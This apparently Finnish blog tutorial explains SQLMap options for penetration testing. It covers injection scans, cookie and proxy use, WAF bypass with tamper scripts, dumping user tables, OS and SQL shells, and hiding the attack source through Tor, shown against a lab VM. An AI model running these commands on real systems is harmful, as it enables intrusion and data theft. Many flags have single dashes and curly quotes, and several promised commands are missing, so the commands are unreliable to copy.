Tärkeitä SQLMap-komentoja

SQLMap-työkalu löytyy jokaisen penetraatiotestaajan työkalupakista. Se on yksi suosituimmista ja tehokkaimmista työkaluista, kun on kyse SQL-injektiohaavoittuvuuden hyödyntämisestä, joka itsessään on OWASP:n Top 10 -haavoittuvuuslistan kärjessä. SQL-injektiohaavoittuvuuden vahvistamisesta tietokannan nimen, taulukoiden ja sarakkeiden poimimiseen ja koko järjestelmän saamiseen sitä voidaan käyttää moniin eri tarkoituksiin.

Tässä artikkelissa näemme erityyppisiä SQLMap-komentoja, jotka voivat olla käteviä SQL-injektioiden eri skenaarioiden hyödyntämisessä.

SQLMap on ladattavissa seuraavista linkeistä:

Windows

Linux: git clone -depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

Demotarkoituksiin käytän tätä konetta Vulnhubista.

Katsotaan SQLMap-työkalun peruskäyttöä GET- ja POST-pyynnöissä.

sqlmap -u http://site-to-test.com/test.php?id=1 -p id

sqlmap -u http://site-to-test.com/test.php?id=1*

-u: URL, jota skannataan

-p: parametri, jota skannataan

*: skannattava parametri (jos -p-kytkintä ei ole annettu)

POST-pyyntö

Voidaan antaa POST-pyynnön rungossa välitettävät tiedot SQLMap-työkalun skannattavaksi.

sqlmap -u http://site-to-test.com/admin/index.php -data=”user=admin&password=admin” -p user

-data = POST data

Toinen tapa on kopioida Burp-pyyntö tiedostoon ja välittää se SQLMapille.

sqlmap -r <polku pyyntötiedostoon>

Mennään hieman eteenpäin, jotta ymmärretään muita SQLMap-työkalun tarjoamia vaihtoehtoja.

POST-kirjautumissivujen skannaaminen

Post-kirjautumissivut valtuutetaan eväste-otsakkeella, joka välitetään GET/POST-pyynnön HTTP-otsakkeessa. Jotta voimme skannata post-kirjautumissivu(t), meidän on annettava voimassa oleva eväste SQLMapille.

sqlmap -u http://192.168.202.163/admin/index.php?id=1 -cookie=”evästeen arvo”

/admin/index.php?id=1 on post-kirjautumissivu.

Monet sivut ovat samalla tavalla suojattuja User-Agent- tai Referrer-otsakkeen avulla. Sama voidaan sisällyttää komentoon:

sqlmap -u http://192.168.202.163/admin/index.php?id=1 -user-agent=infosec

sqlmap -u http://192.168.202.163/admin/index.php?id=1 -referer= http://192.168.202.163/admin/index.php

Lisäksi voimme satunnaistaa user-agent-otsakkeen -random-agent-optiolla.

CRAWL

Crawl on tärkeä vaihtoehto, jonka avulla SQLMap-työkalu voi indeksoida verkkosivuston aloittaen juuripaikasta. Ryömintäsyvyys voidaan määrittää komennolla.

sqlmap -u http://192.168.202.160/ -crawl=1

-crawl: Määritä indeksoitava syvyys. (Esimerkki: Määrittämällä 2 työkalu voi indeksoida jopa kaksi hakemistoa)

Jos haluamme sulkea minkä tahansa sivun indeksoijan soveltamisalan ulkopuolelle, voimme määritellä -crawl-exclude. Tämä on hyödyllinen vaihtoehto, kun indeksoimme kirjautumissivua.

sqlmap -u http://192.168.202.163/ -crawl=3 -cookie=”evästeen arvo” -crawl-exclude=”uloskirjautuminen”

Tämä komento indeksoi verkkosivun kolmeen hakemistoon asti ja sulkee pois kaikki URL-osoitteet, joissa on avainsana ”logout”.

Kuten alla näkyy, SQLMap on indeksoinut verkkosivuston, mutta jättänyt logout-URL:n pois.

Ajetaan sama komento ilman -crawl-exclude-vaihtoehtoa:

Kuten alla nähdään, kun -crawl-exclude-vaihtoehtoa ei ole määritetty, SQLMap on crawlannut uloskirjautumis-URL:n. Tämä mahdollistaisi olemassa olevan istunnon mitätöinnin (uloskirjautumisen vuoksi) ja jättäisi skannauksen suorittamatta.

SQLMap välityspalvelimen kautta

Voidaan määritellä välityspalvelimen tiedot, josta päästämme pyynnön läpi. Jos haluamme välittää pyynnön välitystyökalun, kuten Burpin, kautta, käynnistä Burp Suite ja määritä se toimimaan localhostissa portissa 8080. Käytä nyt seuraavaa SQLMap-komentoa:

sqlmap -u http://192.168.202.162/cat.php?id=1 -p id -proxy=”http://localhost:8080″

Ajatellaan nyt skenaariota, jossa sqlinjection-avainsanat, kuten OrderBy ja Union, ovat mustalla listalla palvelimella. Voimme ohittaa tällaiset toteutukset käyttämällä camel casing -tekniikkaa. Käytämme SQLMapia liikenteen lähettämiseen Burpiin ja käytämme Burpin ”match and replace” -ominaisuutta ohittaaksemme edellä mainitun rajoituksen.

Match and Replace -ominaisuus löytyy Burpin ”Options”-välilehdeltä ”Proxy”-välilehden alta.

Tällä tarkistetaan, onko pyynnössä avainsana kuten ”union”. Jos on, korvaa se sanalla ”UnIoN.”

Skenaariossa, jossa sovellukseen pääsee käsiksi vain välityspalvelimen kautta, sama voidaan määritellä seuraavalla komennolla:

sqlmap -u http://192.168.202.162/cat.php?id=1 -p id -proxy=”http://localhost:8080″ -proxy-cred=käyttäjätunnus:salasana

Batch

Batch-komentoa käytetään ei-interaktiivisiin istuntoihin. Kun yritämme skannata jotakin, SQLMap saattaa pyytää meitä antamaan syötteitä skannauksen aikana: esimerkiksi crawl-ominaisuutta käytettäessä työkalu kysyy käyttäjältä, haluaako käyttäjä skannata tunnistetun URL-osoitteen. Kun komennossa on määritetty -batch, työkalu käyttää oletusarvoa jatkaakseen kysymättä käyttäjältä.

Form

Sivun URL-osoite, jossa on lomakekenttä (vaikkapa sisäänkirjautumissivu), voidaan antaa yhdessä -form-vaihtoehdon kanssa, jotta sivua voidaan jäsennellä ja ohjata käyttäjää testaamaan tunnistetut kentät.

Sivuja, joissa on suuri määrä lomakekenttiä, voidaan nyt testata tehokkaasti käyttämällä -form- ja -batch-optiota yhdessä. Tämä jäsentää sivun ja tarkistaa lomakekentät ja antaa syötteen automaattisesti käyttäjän puolesta.

Jos koko sovellus on skannattava, voidaan käyttää crawl-vaihtoehtoa yhdessä form- ja switch-vaihtoehtojen kanssa.

Threads

Threads-vaihtoehdon avulla käyttäjä voi määritellä SQLMap-työkalun lähettämien samanaikaisten pyyntöjen määrän. Tämä vähentäisi testauksen kokonaisaikaa. Tätä ei tulisi pitää suurempana arvona, sillä se voi vaikuttaa tuloksen tarkkuuteen.

Riski ja taso

Riskin avulla voidaan määrittää työkalun käyttämien hyötykuormien tyyppi. Oletusarvoisesti se käyttää arvoa 1, ja se voidaan määrittää aina tasolle 3 asti. Taso 3, joka on maksimitaso, sisältää joitakin raskaita SQL-kyselyjä.

Taso määrittelee suoritettavien tarkistusten / hyötykuorman määrän. Arvo vaihtelee välillä 1-5. 5, joka on maksimi, sisältää suuren määrän hyötykuormia tarkistuksessa.

Riskiä ja tasoa suositellaan nostettavaksi, jos SQLMap ei pysty havaitsemaan injektiota oletusasetuksilla.

Verbose

Jos halutaan nähdä hyötykuorma, jonka työkalu lähettää, voidaan käyttää verbose-vaihtoehtoa. Arvot vaihtelevat välillä 1-6.

Tietokannan luetteleminen

Koska tiedämme, että SQLMapia käytetään pääasiassa SQL-injektioiden hyväksikäyttöön, katsotaanpa joitakin komentoja, joilla tietokanta voidaan luetella SQL-injektioille alttiiden sovellusten kautta.

1. -dbs: Tätä vaihtoehtoa käytetään tietokannan luettelemiseen.

2. Nyt meillä on tietokannan nimi. Voit poimia tietokannan ”photoblog” taulukon suorittamalla seuraavan komennon:

3. Voit poimia sarakkeiden tiedot taulukosta ”users” suorittamalla seuraavan komennon:

4. Voit tyhjentää taulukon ”users” tiedot käyttämällä komentoa -dump:

5. Voit tyhjentää taulukon ”users” tiedot komennolla -dump. Tietokannan nykyisen käyttäjän tunnistaminen:

6. Tietokannan nykyisen nimen tunnistaminen:

7. Tunnistetaan oikeudet, roolit ja se, onko nykyinen tietokannan käyttäjä tietokannan ylläpitäjä:

WAF:n ohittaminen Tamper Scriptin avulla

Monesti törmäämme skenaarioon, jossa sovellusta pidetään web-sovellusten palomuurin (WAF) takana. Tarkistaaksemme, onko sivusto suojattu WAF:lla, voimme käyttää seuraavia vaihtoehtoja:

-identify-waf

Kun WAF on tunnistettu, voimme käyttää tamper-skriptiä hyökätäksemme WAF-suojattuja sovelluksia vastaan. Tamper-skripti voi muokata pyyntöä WAF-tunnistuksen välttämiseksi. Skriptit löytyvät hakemistosta /usr/share/sqlmap/tamper/.

Järjestelmäkomentojen suorittaminen

Voidaan suorittaa käyttöjärjestelmä-/järjestelmätason komentoja, jos nykyisellä tietokannan käyttäjällä on DBA-oikeudet. Voimme käyttää seuraavia vaihtoehtoja:

Linux-palvelimella:

sqlmap -u http://192.168.202.162/cat.php?id=1 -os-shell

Windows-palvelimella:

sqlmap -u http://192.168.202.162/cat.php?id=1 -os-cmd <cmd>

SQL-kyselyjen suorittaminen

Voidaan suorittaa SQL-lause tietokannassa suorittamalla seuraavat komennot:

sqlmap -u 192.168.202.164/cat.php?id=2 -sql-shell

Muut vaihtoehdot

Joitakin muita vaihtoehtoja ovat:

1. HTTP-todennuksella, kuten Basic-, NTLM- ja Digest-todennuksella, suojatun sivun skannaaminen:

sqlmap -u http://example.com/admin.aspx -auth-type Basic -auth-cred ”admin:admin”

2. Avainpohjaisella todennuksella suojatun sivun skannaaminen

sqlmap -u http://example.com/admin.aspx -auth-file=<polku PEM-varmenteeseen tai yksityiseen avaintiedostoon>

3. Hyökkäävien IP-osoitteiden satunnaistaminen (tämä voi auttaa esimerkiksi WAF-tunnistuksen yhteydessä tai silloin, kun hyökkäyksen lähteen piilottaminen vaikeuttaisi IP-osoitteen jäljittämistä).

Käyttääksesi oletusarvoista Tor-anonymiteettiverkkoa:

sqlmap -u http://example.com/admin.aspx -tor

Määrittääksesi Tor-portin:

sqlmap -u http://example.com/admin.aspx -tor-port=<tor proxy-portti>

4. Jos kunkin HTTP-pyynnön välille halutaan viive:

sqlmap -u http://example.com/admin.aspx -delay=1 #1 second delay

5. Jos sivu on suojattu CSRF-tokenilla, voimme sisällyttää sen komentoon:

sqlmap -u http://example.com/admin.aspx -csrf-token=<csrf-token>

Second Order SQL injection: Tässä SQL-injektiotyypissä SQL-hyötykuorma tallennetaan tietokantaan ja haetaan myöhemmin, kun käytetään eri sivua. Annamme URL-osoitteen, jota SQLMap-työkalu pyytää jokaisen injektion jälkeen. Voimme ohjeistaa SQLMap-työkalua testaamaan tätä injektiota käyttämällä seuraavia komentoja:

sqlmap -r /root/Desktop/Burp.txt -second-order ”http://target/vulnerbalepage.php”

The Burp.txt-tiedosto sisältää pyynnön, johon injektio suoritetaan.

-second-order ”URL” sisältää URL-osoitteen, jota SQLMap käyttää jokaisen injektion jälkeen.

Conclusion

Vastaa

Sähköpostiosoitettasi ei julkaista.